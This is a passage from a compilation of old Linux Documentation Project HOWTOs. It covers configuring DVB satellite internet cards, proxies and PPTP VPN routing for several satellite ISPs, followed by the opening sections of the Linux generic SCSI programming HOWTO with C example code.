  • Multicast: 785, 786, 1041 (decimal), 0x311, 0x312, 0x411 (hexadecimal), but you should notice that, in many cases, Multicast PIDs are taken in automatic.

We also need another info: what MAC address to assign to our DVB card.

Again, for EON you can see Appendix A to calculate MAC address from dynamic IP address.

Obviously you need login and password to use ISP service.


Sat (Satellite Technology) HOWTO: Configuration under Linux

 Next Previous Contents

6. Configuration under Linux

In this section I will assume to use a Siemens compatible card, like an Hauppage WinTV DVB card, for such cards you can download drivers from LinuxTV or DVB-s PCI cards under Linux.

6.1 Drivers installation

Once downloaded drivers, you have to untar them to a directory, enter it and type "make" and "make insmod". To do this you need to have actual kernel sources under /usr/src/linux (unless, download them from http://www.kernel.org and recompile them).

After made "make insmod", your system should have DVB modules loaded. To unload them type simply "make rmmod".

6.2 Setting up /etc/dvbd.conf

/etc/dvbd.conf file is used to setup data-link parameters for your DVB card. Here main settings:

  • "power", which indicates the power to LNB, 1=ON, 0=OFF. Usually you should set it to 1, unless you do some kind of cascade between more than 1 LNB.
  • "symbolrate", this is the symbol rate per seconds, for example 22.000.000.
  • "frequency", at which receiving datas, like 12.640.000.
  • "ttk", the 22 kHz signal, almost always to 1.
  • "diseqc", used to control the diseq, (it means only when you have a diseq controlling 2 or more converters) 0 if none.
  • "AFC", usually set to 1.
  • "polarization", 1 for horizontal or 0 for vertical one.
  • "filter_n <PID> <MAC> <BITFILTER>", where n is intended 0 for Unicast and 1-9 for Multicast; PID is expressed in decimal form, MAC is the MAC address only valid for Multicast filter and BITFILTER is a number which bits represent bytes to mask (for example 10 = 2 (bit 1) + 8 (bit 3), so mask will be 00 00 FF 00 FF 00).

Example

------------------------------------------

# DVB receiver configuration file, (c) 2000 data planet international

# standard location in /etc

# LNB power on=1/off=0

power 1

# symbol rate [symbol/sec]

symbolrate 22000000

# ASTRA TR 114

frequency 12640000

# 22 kHz signal on=1/off=0

ttk 1

# diseqc on=1/off=0

diseqc 0

# AFC on=1/off=0

AFC 1

# polarisation H=1/V=0

polarisation 1

# settings for MPE filter, PID and MAC filtering, valid MAC bytes

filter_0 512

filter_1 785 00:D0:5C:1E:96:01 48

filter_2 786 00:D0:5C:1E:96:01 48

filter_3 1041 00:D0:5C:1E:96:01 48

-----------------------------------------

filter_0 has no MAC and no bitfilter values cause the right MAC address is calculated from IP address (see Appendix A). We will see this setting is OK only for some ISP, for others we'll have to change dvbd.c

6.3 Dvbd daemon

Once your /etc/dvbd.conf is ok, you can launch dvbd application, which, if executed without -d option, write to stdout signal quality level:

  • Sync MUST be 127 or near it
  • Vber MUST be 0

unless you are not well receiving from Sat (check cable and/or dish pointing).

Note:

Maybe you have to change, in dvbd.h this line

#define network_device "eth0"

to

#define network_device "ppp0"

depending on which interface you use to reach Internet, eth0 or ppp0: type "make" to update binary file and restart dvbd.

6.4 How to config EON service

Now you have a good signal, you can try to use some sat service.

For EON go at "proxy" setting in Netscape preferences and set under HTTP and FTP:

proxy.xxx.europeonline.net

and, in "port" 8080 and FTP proxy with "port" 8090.

where xxx is the transponder number (103,113,114 or 115) you are using (see Appendix B for more).

Now you should be able to navigate wherever you want.... Good navigation.

To share EON service with many clients you can use Squid proxy application, enabling cascade to EON proxy.

For a more complex use of EON, like more complex cascade proxy or sharing users, see EON Linux Masquering FAQ Page

6.5 How to use Netsystem service

Netsystem service is a little more complicated than EON under Linux, cause, in addition, you need to setup:

  1. VPN connection
  2. patch for pppd (needed only if using pppd <= 2.4.0)
  3. routing settings with simple scripts
  4. patch for dvbd.c
  5. Test it
  6. Get performance better
  7. Sharing Netsystem with many clients

VPN connection

First you need to download VPN PPTP client application.

After untared, compiled and installed it, you should add an entry to your /etc/ppp/pap-secrets and /etc/ppp/chap-secrets files, like that:

"login" * "password" *

where "login" and "password" are the same according to Netsystem registration.

Patch for pppd

As described at PPTP description, you need to patch your pppd daemon to support connection with Netsystem VPN server (Linux server).

Warning: using pppd version >= 2.4.0 you don't need pppd patch.

So you have to:

  1. download a recent pppd version
  2. download and gunzip the correspondent patch for pppd from Here
  3. untar pppd in a directory
  4. type "patch -p0 < patch_name"
  5. enter pppd directory
  6. type "make", "make install"

Routing settings

Now your pppd will be able to working with:

"pptp vpn.netsystem.com debug user <login>"

where <login> is your login account from Netsystem: you should see, in log file (/var/log/messages) ppp1 connection debug info.

If all is ok you should see ppp1 interface with "ifconfig" command.

If you still have problems on authentication, please add a "noauth" line to your /etc/ppp/options file.

Once ppp1 interface is up, you should do the following:

  1. type "ifconfig ppp1" and find the IP address (I will call IP) on the right of "P-t-P:" string.
  2. delete it from routing table with "route del IP"
  3. add it to ppp0 interface with "route add IP dev ppp0"
  4. delete default gateway from ppp0 with "route del default"
  5. add default gateway to ppp1 with "route add default dev ppp1"

Points 1-3 are requested cause point-to-point interface are managed, under Linux, adding the gateway to the new interface (which is not a good idea in this case): unless it you will have a endless loop, cause your packet will be continuously encapsulated on itself.

Points 4,5 are used to make "all internet requests" to ppp1 interface, so we'll reach the "world" by using VPN connection: this could be not optimal in some condition, for example for DNS queries, which could be sent directly to avoid useless Sat delay time.

Instead of manually setup routing configuration you can try using these little scripts:

"netsystem.on" script

______________________________________________________________________

route add IP_DNS1 dev ppp0

route add IP_DNS2 dev ppp0

route add -net 212.31.242.0 netmask 255.255.255.0 dev ppp0

pptp vpn.netsystem.com user <login>

/bin/sleep 5

route add default dev ppp1

______________________________________________________________________

"netsystem.off" script

______________________________________________________________________

route del IP_DNS1 dev ppp0

route del IP_DNS2 dev ppp0

route del -net 212.31.242.0 netmask 255.255.255.0 dev ppp0

kill -9 `ps x|grep "pppd"|grep "<login>"|grep -v "ps"|tr " " "\n"|head -n 2`

rm --force /var/lock/LCK..tty*

rm --force /var/run/pptp/*

rm --force /var/run/ppp1.pid

killall -9 pptp

______________________________________________________________________

IP_DNS1 and IP_DNS2 are ip addresses of your dns servers (primary and secondary).

<login> is the login name of your Netsystem account.

I tried it out under kernel 2.4.6 RedHat 7.1 and it works very well (without any problems about ppp1 endless loop or similar).

This line:

kill -9 `ps x|grep "pppd"|grep "<login>"|grep -v "ps"|tr " " "\n"|head -n 2`

is used to find PID of pppd process talking with VPN server (ppp1 interface): notice that you cannot just only type " killall pppd" cause your ppp0 interface also would go down.

Patch for dvbd.c

After solved problems about PPTP you have to change some line in dvbd.c, near the end of it:

if (strcmp (v, "filter_0") == 0) { if (s != NULL) { unsigned char ip[4];
dvbcfg[0].status = ON ;
dvbcfg[0].filter.data[0] = 0x3eff ;
dvbcfg[0].filter.pid = (__u16) atoi (s) ;
dvbcfg[0].filter.mode = 0x0c ;
if (ipget (ip, network_device)) { fprintf(stderr,"Can't get local ip address. Stop.\n") ; return -1 ; }
syslog (LOG_NOTICE, "Local ip is %u:%u:%u:%u\n", ip[0], ip[1], ip[2], ip[3]);
dvbcfg[0].filter.data[1] = (ip[3] << 8) | 0x00ff ;
dvbcfg[0].filter.data[2] = (ip[2] << 8) | 0x00ff ;
dvbcfg[0].filter.data[6] = (ip[1] << 8) | 0x00ff ;
dvbcfg[0].filter.data[7] = (ip[0] << 8) | 0x00ff ;
dvbcfg[0].filter.data[8] = (0x02 << 8) | 0x00ff ;
dvbcfg[0].filter.data[9] = (0x00 << 8) | 0x00ff ;
setmac (ip) ; }
else { dvbcfg[1].status = OFF ; } }

Now following lines:

dvbcfg[0].filter.data[1] = (ip[3] << 8) | 0x00ff ;

dvbcfg[0].filter.data[2] = (ip[2] << 8) | 0x00ff ;

dvbcfg[0].filter.data[6] = (ip[1] << 8) | 0x00ff ;

dvbcfg[0].filter.data[7] = (ip[0] << 8) | 0x00ff ;

dvbcfg[0].filter.data[8] = (0x02 << 8) | 0x00ff ;

dvbcfg[0].filter.data[9] = (0x00 << 8) | 0x00ff ;

will be changed to

dvbcfg[0].filter.data[1] = (MAC[5] << 8) | 0x00ff ;

dvbcfg[0].filter.data[2] = (MAC[4] << 8) | 0x00ff;

dvbcfg[0].filter.data[6] = (MAC[3] << 8) | 0x00ff ;

dvbcfg[0].filter.data[7] = (MAC[2] << 8) | 0x00ff ;

dvbcfg[0].filter.data[8] = (MAC[1] << 8) | 0x00ff ;

dvbcfg[0].filter.data[9] = (MAC[0] << 8) | 0x00ff ;

Where MAC[0]:MAC[1]:MAC[2]:MAC[3]:MAC[4]:MAC[5] is our MAC address (according to Netsystem registration).

For example, using the address 00:d0:d0:d0:d0:d0 we'll have:

dvbcfg[0].filter.data[1] = (0xd0 << 8) | 0x00ff ;

dvbcfg[0].filter.data[2] = (0xd0 << 8) | 0x00ff;

dvbcfg[0].filter.data[6] = (0xd0 << 8) | 0x00ff ;

dvbcfg[0].filter.data[7] = (0xd0 << 8) | 0x00ff ;

dvbcfg[0].filter.data[8] = (0xd0 << 8) | 0x00ff ;

dvbcfg[0].filter.data[9] = (0x00 << 8) | 0x00ff ;

notice hexadecimal notation 0x??

After, you have to type "make" and use the new dvbd created.

Note: to successfully patch the dvbd.c you need to use dvb driver version >= 0.8.2, cause older versions have some instability problems.

Test it

Finally, we can test Netsystem under Linux. We can make a "ping www.somehostpingable.com" and check the response time: it should be between 400 and 2000 ms.

If you still have problems, you should control if all is OK with VPN interface:

  1. open your preferred network sniffer (for example Ethereal) and starts to analyze "ppp0" interface (ppp0, not ppp1!!)
  2. make a ping

If VPN is ok you should see 2 (or maybe 1) GRE-Encapsulated packets each second, endless. If you cannot view anything your VPN is not correctly working: stop it and restart it.

Get performance better

Once you setup all things you NEED to use (particularly with Netsystem service) some "download accelerator" to get performance better: please see Appendix A for more.

Sharing Netsystem with many clients

To do this you can enable "IP Masquering", allowing your client to use VPN like a normal Internet interface; main problem is that our satellite connection is very good for download while it has bad performance for just browsing web pages (or other service more interactive than downloading).

You can think to use Squid proxy or Socks proxy, but you don't solve your problems, cause even now ALL your request would be forwarded to same interface, VPN.

The solution is to use 2 routing tables, one using direct line interface and the other using VPN one. So you can do like this:

  1. be sure of have installed "iproute2" commands (for example type "ip" on shell and control if it tells you something), for more see Linux 2.4 Advanced Routing HOWTO.
  2. be sure of have started Netsystem service and annotate ppp1 interface IP address, we'll call it LOCALIP.
  3. type: "echo "210 sat" >> /etc/iproute2/rt_tables", to more comfortable call "sat" rule 210
  4. type: "ip rule add from LOCALIP table sat", to create table "sat" relative to all requests coming from LOCALIP IP address.
  5. type: "ip route add default dev ppp1 table sat", to send all "sat" requests (see above) to ppp1 interface.
  6. if you use Socks proxy be sure to set, in sockd.conf file, "external" to LOCALIP.
  7. if you use Squid proxy be sure to set, in squid.conf file, "tcp_outgoing_address" to LOCALIP.

Once done all that, you will notice to have 2 kind of working: without any proxy your clients will ask to direct line, while by using proxy (squid or sockd) the request will be forwarded to VPN interface and, definitely, toward satellite.

Notice that maybe you wish to use sockd instead of squid, cause satellite requests are typically used for download (while squid is typically used for browsing...).

What happens with iproute2 commands is that, when you ask for an address to sockd or squid, relative proxy (using IPLOCAL IP address, bound at run-time by proxy network daemon) request enters the TCP/IP stack where kernel will forward it (thanks to point 4 above) to sat table and, definitely (by using point 5) to ppp1 interface. All other rules will be forwarded to classical default route (I mean across ppp0 interface or whatever other interface for direct Internet).

6.6 How to use Sat Node service

You have to follow all instructions as for Netsystem.

Before enabling VPN connection, you need to type:

  • ''route del default'', we delete default route
  • ''route add 212.56.224.36 dev ppp0'', we tell it that it has to reach the vpn server just through ppp0
  • ''pptp 212.56.224.36 user user-name'', we create VPN
  • ''route add default dev ppp1'', we tell it that it must use this route to reach every place.

What really changes from Netsystem is that, we don't force VPN gateway (212.56.224.34, IP on the right of ''P-t-P'' in ppp1 interface) on ppp0 interface, but we force another IP (212.56.224.36). All other things should not change.

Thanks to Ricardo Santiago Mozos and Norberto Garcia Prieto.

6.7 OpenSky service under Linux

  1. You need to register at Opensky Registration site. You'll receive a confirming email with login and password in few days.
  2. After you have to go to https://sdr.eutelsat.net and enter login and password data to connect.
  3. Set the proxy: ''proxy.eutelsat.net:8080''.

It is strongly suggested to use downloader applications (see Appendix A for more) to get performance better.

OpenSky is the latest satellite service and it offers 300 MB at month (for free).

Configuration is pretty like EON service, you have to use 0.8.2 siemens drivers you download from LinuxTV, then you NEED to patch dvbd applications.

To apply the patch and to test OpenSky you can find useful infos at:

  • http://members.tripod.com/andrei_b/linux/dvbd/dvb-app-dvbd.htm
  • http://pguiral.free.fr/DVBS/opensky.html.


Sat (Satellite Technology) HOWTO: Configuration under Windows

 Next Previous Contents

7. Configuration under Windows

7.1 EON

Hauppage WinTV has DVB-DATA application that allows to specify data-link settings.

7.2 Netsystem

First you need to install VPN capabilities.

In addition you need to download Netsystem software (always foreground spot banner) and launch it: after you should not be able to use Netsystem service: you can download it from here

7.3 OpenSky

See Linux.


Sat (Satellite Technology) HOWTO: Appendix A - Notes

 Next Previous Contents

8. Appendix A - Notes

8.1 Translation Dynamic IP -> MAC Address

The translation used by some ISPs to calculate MAC address (which need to have your DVB card to receive their packets) is:

00 : 01 : IP[0] : IP[1] : IP[2] : IP[3]

where

IP[0].IP[1].IP[2].IP[3] is your dynamic IP address.

This feature is used, for example, by EON.

8.2 TCP Window

Satellite connections are an interesting example of very high RTT (round trip time, access time): another example is the Mars - Earth communication or also the Moon - Earth one.

These connections have a very bad feature: very low interactively.

Typical network (or digital, generally) connections use the so called transmission "window", which represents the data buffer can be sent before waiting for an answer. In TCP/IP protocol stack this is the TCP Window.

                  ----------------------
  | - - - - - - - > can continue |-|-|-|---->
  |               ----------------------
  |             Buffer sendable before confirm
  |
  | - - - - - - - <----------------------
                   Confirmation Answering

Now, if our communication has an high access time and if we had a little TCP Window we would lose very much time only waiting for the data confirmation (ACK), so the real bandwidth would decrease (for example if you have a 16KB TCP window, typical of Windows systems and a RTT of 400 ms, you cannot overcome 16KB/0.4 = 40 KB/s)

Solution is to use a very high TCP Window (such as 256 KB or some MB).

Unfortunately, under many systems, is not so simple to have a great TCP Window, so, in latest years, it starts to appear new applications ("download accelerators" described in next section) that split in many pieces a file and download all them in the main time: this is just equivalent to download only one file with a single piece size, avoiding the RTT problem.

8.3 Download accelerator

We report here some useful link to so called "download accelerator" which is an application that does 2 things:

  1. resuming session management, it allows stopping downloading and restarting later (this can be done thanks to "resuming feature" introduced in Http and Ftp server, which allows you to specify at what byte number start to download).
  2. splitting, divide the file in many pieces and let them start in a multithreaded fashion.

As we saw in the previous section, a download accelerator allows us to increase satellite bandwidth.

Under Linux

  • Aria

Under Windows

  • FlashGet
  • GetRight
  • Mass Downloader


Sat (Satellite Technology) HOWTO: Appendix B - Well Known Sat ISP setting value

 Next Previous Contents

9. Appendix B - Well Known Sat ISP setting value

9.1 EuropeOnLine

EON sends data from Astra satellite (19.2 SE).

MAC address is calculated from IP address (see Appendix A).

It uses "Proxy Authentication".

Follows the 4 transponder setting:

Transponder 113

  • Frequency: 12633.250 MHz,
  • SRate : 22 MS/s
  • Polarization: Horizontal
  • Unicast PID: 512 (decimal)

Transponder 114

  • Frequency: 12640 MHz,
  • SRate : 22 MS/s
  • Polarization: Vertical
  • Unicast PID: 512 (decimal)

Transponder 115

  • Frequency: 12662.750 MHz,
  • SRate : 22 MS/s
  • Polarization: Horizontal
  • Unicast PID: 512 (decimal)

Transponder 103

  • Frequency: 12461 MHz,
  • SRate : 27.5 MS/s
  • Polarization: Horizontal
  • Unicast PID: 512 (decimal)

9.2 Netsystem

Netsystem uses Astra satellite (19.2 SE) to send data .

MAC address used is your real MAC address DVB card.

It uses VPN connection.

Follows data setting:

Transponder 119

  • Frequency: 12721 MHz
  • SRate: 22MS/s
  • Polarization: Horizontal
  • Unicast PID: 451 (decimal)

9.3 Sat Node

Sat Node uses Astra satellite (19.2 SE).

  • Frequency: 12603.750 MHz
  • SRate: 22MS/s
  • Polarization: Horizontal
  • Unicast PID: 302

9.4 Open Sky

Open sky uses Eutelsat satellite (7 SE).

  • Frequency: 11262 MHz
  • SRate: 27.5MS/s
  • Polarization: Horizontal
  • Unicast PID: 3003


Sat (Satellite Technology) HOWTO: Links

 Next Previous Contents

10. Links

10.1 Open

http://www.linuxtv.org

http://www.fatamorgana.com/bertolinux http://www.hack-it.net/How-To/Sat-HOWTO.html

10.2 Commercial

EuropeOnLine - EON

Netsystem

Starspeeder

Sat Node

Eliosat

Falcon Stream

SkyDSL

OpenSky

DirecPC

http://www.xanticbroadband.com/

http://www.fatamorgana.com


The Linux SCSI programming HOWTO

Heiko Eißfeldt heiko@colossus.escape.de

v1.5, 7 May 1996

This document deals with programming the Linux generic SCSI interface.

Archived Document Notice: This document has been archived by the LDP because it does not apply to modern Linux systems. It is no longer being actively maintained.

1. What's New?

2. Introduction

3. What Is The Generic SCSI Interface?

4. What Are The Requirements To Use It?

  • 4.1 Kernel Configuration
  • 4.2 Device Files
  • 4.3 Device Mapping

5. Programmers Guide

6. Overview Of Device Programming

7. Opening The Device

8. The Header Structure

9. Inquiry Command Example

10. The Sense Buffer

11. Example Using Sense Buffer

12. Ioctl Functions

13. Driver Defaults

  • 13.1 Transfer Lengths
  • 13.2 Timeout And Retry Values

14. Obtaining The Scsi Specifications

15. Related Information Sources

  • 15.1 HOWTOs and FAQs
  • 15.2 Mailing list
  • 15.3 Example code

16. Other useful stuff

  • 16.1 Device driver writer helpers
  • 16.2 Utilities

17. Other SCSI Access Interfaces

18. Final Comments

19. Acknowledgments

Appendix

20. Appendix

21. Error handling

  • 21.1 Error status decoding
  • 21.2 Status codes
  • 21.3 SCSI Sense Keys
  • 21.4 Host codes
  • 21.5 Driver codes

22. Additional sense codes and additional sense code qualifiers

  • 22.1 ASC and ASCQ in lexical order
  • 22.2 ASC and ASCQ in numerical order

23. A SCSI command code quick reference

24. Example programs


The Linux SCSI programming HOWTO: What's New?

 Next Previous Contents

1. What's New?

Newer kernels have changed the interface a bit. This affects a section formerly entitled 'rescanning the devices'. Now it is possible to add/remove SCSI devices on the fly.

Since kernel 1.3.98 some important header files have been moved/split (sg.h and scsi.h).

Some stupid bugs have been replaced by newer ones.


The Linux SCSI programming HOWTO: Introduction

 Next Previous Contents

2. Introduction

This document is a guide to the installation and programming of the Linux generic SCSI interface.

It covers kernel prerequisites, device mappings, and basic interaction with devices. Some simple C programming examples are included. General knowledge of the SCSI command set is required; for more information on the SCSI standard and related information, see the appendix to this document.

Note the plain text version of this document lacks cross references (they show up as ``'').


The Linux SCSI programming HOWTO: What Is The Generic SCSI Interface?

 Next Previous Contents

3. What Is The Generic SCSI Interface?

The generic SCSI interface has been implemented to provide general SCSI access to (possibly exotic) pieces of SCSI hardware. It was developed by Lawrence Foard ( entropy@world.std.com) and sponsored by Killy Corporation (see the comments in scsi/sg.h).

The interface makes special device handling possible from user level applications (i.e. outside the kernel). Thus, kernel driver development, which is more risky and difficult to debug, is not necessary.

However, if you don't program the driver properly it is possible to hang the SCSI bus, the driver, or the kernel. Therefore, it is important to properly program the generic driver and to first back up all files to avoid losing data. Another useful thing to do before running your programs is to issue a sync command to ensure that any buffers are flushed to disk, minimizing data loss if the system hangs.

Another advantage of the generic driver is that as long as the interface itself does not change, all applications are independent of new kernel development. In comparison, other low-level kernel drivers have to be synchronized with other internal kernel changes.

Typically, the generic driver is used to communicate with new SCSI hardware devices that require special user applications to be written to take advantage of their features (e.g. scanners, printers, CD-ROM jukeboxes). The generic interface allows these to be written quickly.


The Linux SCSI programming HOWTO: What Are The Requirements To Use It?

 Next Previous Contents

4. What Are The Requirements To Use It?

4.1 Kernel Configuration

You must have a supported SCSI controller, obviously. Furthermore, your kernel must have controller support as well as generic support compiled in. Configuring the Linux kernel (via make config under /usr/src/linux) typically looks like the following:

 ...
*
* SCSI support
*
SCSI support? (CONFIG_SCSI) [n] y
*
* SCSI support type (disk, tape, CDrom)
*
 ...
Scsi generic support (CONFIG_CHR_DEV_SG) [n] y
*
* SCSI low-level drivers
*
 ...

If available, modules can of course be build instead.

4.2 Device Files

The generic SCSI driver uses its own device files, separate from those used by the other SCSI device drivers. They can be generated using the MAKEDEV script, typically found in the /dev directory. Running MAKEDEV sg produces these files:

crw-------   1 root     system    21,   0 Aug 20 20:09 /dev/sga
crw-------   1 root     system    21,   1 Aug 20 20:09 /dev/sgb
crw-------   1 root     system    21,   2 Aug 20 20:09 /dev/sgc
crw-------   1 root     system    21,   3 Aug 20 20:09 /dev/sgd
crw-------   1 root     system    21,   4 Aug 20 20:09 /dev/sge
crw-------   1 root     system    21,   5 Aug 20 20:09 /dev/sgf
crw-------   1 root     system    21,   6 Aug 20 20:09 /dev/sgg
crw-------   1 root     system    21,   7 Aug 20 20:09 /dev/sgh
                                   |    |
                               major,   minor device numbers

Note that these are character devices for raw access. On some systems these devices may be called /dev/{sg0,sg1,...}, depending on your installation, so adjust the following examples accordingly.

4.3 Device Mapping

These device files are dynamically mapped to SCSI id/LUNs on your SCSI bus (LUN = logical unit). The mapping allocates devices consecutively for each LUN of each device on each SCSI bus found at time of the SCSI scan, beginning at the lower LUNs/ids/buses. It starts with the first SCSI controller and continues without interruption with all following controllers. This is currently done in the initialisation of the SCSI driver.

For example, assuming you had three SCSI devices hooked up with ids 1, 3, and 5 on the first SCSI bus (each having one LUN), then the following mapping would be in effect:

/dev/sga -> SCSI id 1
/dev/sgb -> SCSI id 3
/dev/sgc -> SCSI id 5

If you now add a new device with id 4, then the mapping (after the next rescan) will be:

/dev/sga -> SCSI id 1
/dev/sgb -> SCSI id 3
/dev/sgc -> SCSI id 4
/dev/sgd -> SCSI id 5

Notice the change for id 5 -- the corresponding device is no longer mapped to /dev/sgc but is now under /dev/sgd.

Luckily newer kernels allow for changing this order.

Dynamically insert and remove SCSI devices

If a newer kernel and the /proc file system is running, a non-busy device can be removed and installed 'on the fly'.

To remove a SCSI device:

echo "scsi remove-single-device a b c d" > /proc/scsi/scsi

and similar, to add a SCSI device, do

echo "scsi add-single-device a b c d" > /proc/scsi/scsi

where

      a == hostadapter id (first one being 0)
      b == SCSI channel on hostadapter (first one being 0)
      c == ID
      d == LUN (first one being 0)

So in order to swap the /dev/sgc and /dev/sgd mappings from the previous example, we could do

echo "scsi remove-single-device 0 0 4 0" > /proc/scsi/scsi
echo "scsi remove-single-device 0 0 5 0" > /proc/scsi/scsi
echo "scsi add-single-device 0 0 5 0" > /proc/scsi/scsi
echo "scsi add-single-device 0 0 4 0" > /proc/scsi/scsi

since generic devices are mapped in the order of their insertion.

When adding more devices to the scsi bus keep in mind there are limited spare entries for new devices. The memory has been allocated at boot time and has room for 2 more devices.


The Linux SCSI programming HOWTO: Programmers Guide

 Next Previous Contents

5. Programmers Guide

The following sections are for programmers who want to use the generic SCSI interface in their own applications. An example will be given showing how to access a SCSI device with the INQUIRY and the TESTUNITREADY commands.

When using these code examples, note the following:

  • the location of the header files sg.h and scsi.h has changed in kernel version 1.3.98. Now these files are located at /usr/src/linux/include/scsi, which is hopefully linked to /usr/include/scsi. Previously they were in /usr/src/linux/drivers/scsi. We assume a newer kernel in the following text.
  • the generic SCSI interface was extended in kernel version 1.1.68; the examples require at least this version. But please avoid kernel version 1.1.77 up to 1.1.89 and 1.3.52 upto 1.3.56 since they had a broken generic scsi interface.
  • the constant DEVICE in the header section describing the accessed device should be set according to your available devices (see section sec-header .


The Linux SCSI programming HOWTO: Overview Of Device Programming

 Next Previous Contents

6. Overview Of Device Programming

The header file include/scsi/sg.h contains a description of the interface (this is based on kernel version 1.3.98):

struct sg_header
 {
  int pack_len;
                   /* length of incoming packet (including header) */
  int reply_len;   /* maximum length of expected reply */
  int pack_id;     /* id number of packet */
  int result;      /* 0==ok, otherwise refer to errno codes */
  unsigned int twelve_byte:1;
               /* Force 12 byte command length for group 6 & 7 commands  */
  unsigned int other_flags:31;                  /* for future use */
  unsigned char sense_buffer[16]; /* used only by reads */
  /* command follows then data for command */
 };

This structure describes how a SCSI command is to be processed and has room to hold the results of the execution of the command. The individual structure components will be discussed later in section sec-header .

The general way of exchanging data with the generic driver is as follows: to send a command to an opened generic device, write() a block containing these three parts to it:

struct sg_header
SCSI command
data to be sent with the command

To obtain the result of a command, read() a block with this (similar) block structure:

struct sg_header
data coming from the device

This is a general overview of the process. The following sections describe each of the steps in more detail.

NOTE: Up to recent kernel versions, it is necessary to block the SIGINT signal between the write() and the corresponding read() call (i.e. via sigprocmask()). A return after the write() part without any read() to fetch the results will block on subsequent accesses. This signal blocking has not yet been included in the example code. So better do not issue SIGINT (a la ^C) when running these examples.


The Linux SCSI programming HOWTO: Opening The Device

 Next Previous Contents

7. Opening The Device

A generic device has to be opened for read and write access:

        int fd = open (device_name, O_RDWR);

(This is the case even for a read-only hardware device such as a cdrom drive).

We have to perform a write to send the command and a read to get back any results. In the case of an error the return code is negative (see section sec-errorhandling for a complete list).


The Linux SCSI programming HOWTO: The Header Structure

 Next Previous Contents

8. The Header Structure

The header structure struct sg_header serves as a controlling layer between the application and the kernel driver. We now discuss its components in detail.

int pack_len

defines the size of the block written to the driver. This is defined within the kernel for internal use.

int reply_len

defines the size of the block to be accepted at reply. This is defined from the application side.

int pack_id

This field helps to assign replies to requests. The application can supply a unique id for each request. Suppose you have written several commands (say 4) to one device. They may work in parallel, one being the fastest. When getting replies via 4 reads, the replies do not have to have the order of the requests. To identify the correct reply for a given request one can use the pack_id field. Typically its value is incremented after each request (and wraps eventually). The maximum amount of outstanding requests is limited by the kernel to SG_MAX_QUEUE (eg 4).

int result

the result code of a read or write call. This is (sometimes) defined from the generic driver (kernel) side. It is safe to set it to null before the write call. These codes are defined in errno.h (0 meaning no error).

unsigned int twelve_byte:1

This field is necessary only when using non-standard vendor specific commands (in the range 0xc0 - 0xff). When these commands have a command length of 12 bytes instead of 10, this field has to be set to one before the write call. Other command lengths are not supported. This is defined from the application side.

unsigned char sense_buffer[16]

This buffer is set after a command is completed (after a read() call) and contains the SCSI sense code. Some command results have to be read from here (e.g. for TESTUNITREADY). Usually it contains just zero bytes. The value in this field is set by the generic driver (kernel) side.

The following example function interfaces directly with the generic kernel driver. It defines the header structure, sends the command via write, gets the result via read and does some (limited) error checking. The sense buffer data is available in the output buffer (unless a NULL pointer has been given, in which case it's in the input buffer). We will use it in the examples which follow.

Note: Set the value of DEVICE to your device descriptor.

#define DEVICE "/dev/sgc"

/* Example program to demonstrate the generic SCSI interface */
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
#include <errno.h>
#include <scsi/sg.h>

#define SCSI_OFF sizeof(struct sg_header)
static unsigned char cmd[SCSI_OFF + 18];      /* SCSI command buffer */
int fd;                               /* SCSI device/file descriptor */

/* process a complete SCSI cmd. Use the generic SCSI interface. */
static int handle_SCSI_cmd(unsigned cmd_len,         /* command length */
                           unsigned in_size,         /* input data size */
                           unsigned char *i_buff,    /* input buffer */
                           unsigned out_size,        /* output data size */
                           unsigned char *o_buff     /* output buffer */
                           )
{
    int status = 0;
    struct sg_header *sg_hd;

    /* safety checks */
    if (!cmd_len) return -1;            /* need a cmd_len != 0 */
    if (!i_buff) return -1;             /* need an input buffer != NULL */
#ifdef SG_BIG_BUFF
    if (SCSI_OFF + cmd_len + in_size > SG_BIG_BUFF) return -1;
    if (SCSI_OFF + out_size > SG_BIG_BUFF) return -1;
#else
    if (SCSI_OFF + cmd_len + in_size > 4096) return -1;
    if (SCSI_OFF + out_size > 4096) return -1;
#endif

    if (!o_buff) out_size = 0;      /* no output buffer, no output size */

    /* generic SCSI device header construction */
    sg_hd = (struct sg_header *) i_buff;
    sg_hd->reply_len   = SCSI_OFF + out_size;
    sg_hd->twelve_byte = cmd_len == 12;
    sg_hd->result = 0;
#if     0
    sg_hd->pack_len    = SCSI_OFF + cmd_len + in_size; /* not necessary */
    sg_hd->pack_id;     /* not used */
    sg_hd->other_flags; /* not used */
#endif

    /* send command */
    status = write( fd, i_buff, SCSI_OFF + cmd_len + in_size );
    if ( status < 0 || status != SCSI_OFF + cmd_len + in_size ||
                       sg_hd->result ) {
        /* some error happened */
        fprintf( stderr, "write(generic) result = 0x%x cmd = 0x%x\n",
                    sg_hd->result, i_buff[SCSI_OFF] );
        perror("");
        return status;
    }

    if (!o_buff) o_buff = i_buff;       /* buffer pointer check */

    /* retrieve result */
    status = read( fd, o_buff, SCSI_OFF + out_size);
    if ( status < 0 || status != SCSI_OFF + out_size || sg_hd->result ) {
        /* some error happened */
        fprintf( stderr, "read(generic) status = 0x%x, result = 0x%x, "
                         "cmd = 0x%x\n",
                         status, sg_hd->result, o_buff[SCSI_OFF] );
        fprintf( stderr, "read(generic) sense "
                "%x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x\n",
                sg_hd->sense_buffer[0],         sg_hd->sense_buffer[1],
                sg_hd->sense_buffer[2],         sg_hd->sense_buffer[3],
                sg_hd->sense_buffer[4],         sg_hd->sense_buffer[5],
                sg_hd->sense_buffer[6],         sg_hd->sense_buffer[7],
                sg_hd->sense_buffer[8],         sg_hd->sense_buffer[9],
                sg_hd->sense_buffer[10],        sg_hd->sense_buffer[11],
                sg_hd->sense_buffer[12],        sg_hd->sense_buffer[13],
                sg_hd->sense_buffer[14],        sg_hd->sense_buffer[15]);
        if (status < 0)
            perror("");
    }
    /* Look if we got what we expected to get */
    if (status == SCSI_OFF + out_size) status = 0; /* got them all */

    return status;  /* 0 means no error */
}

While this may look somewhat complex at first appearance, most of the code is for error checking and reporting (which is useful even after the code is working).

Handle_SCSI_cmd has a generalized form for all SCSI commands types, falling into each of these categories:

       Data Mode              | Example Command
===============================================
neither input nor output data | test unit ready
 no input data, output data   | inquiry, read
 input data, no output data   | mode select, write
   input data, output data    | mode sense


The Linux SCSI programming HOWTO: Inquiry Command Example

 Next Previous Contents

9. Inquiry Command Example

One of the most basic SCSI commands is the INQUIRY command, used to identify the type and make of the device. Here is the definition from the SCSI-2 specification (for details refer to the SCSI-2 standard).

                            Table 44: INQUIRY Command
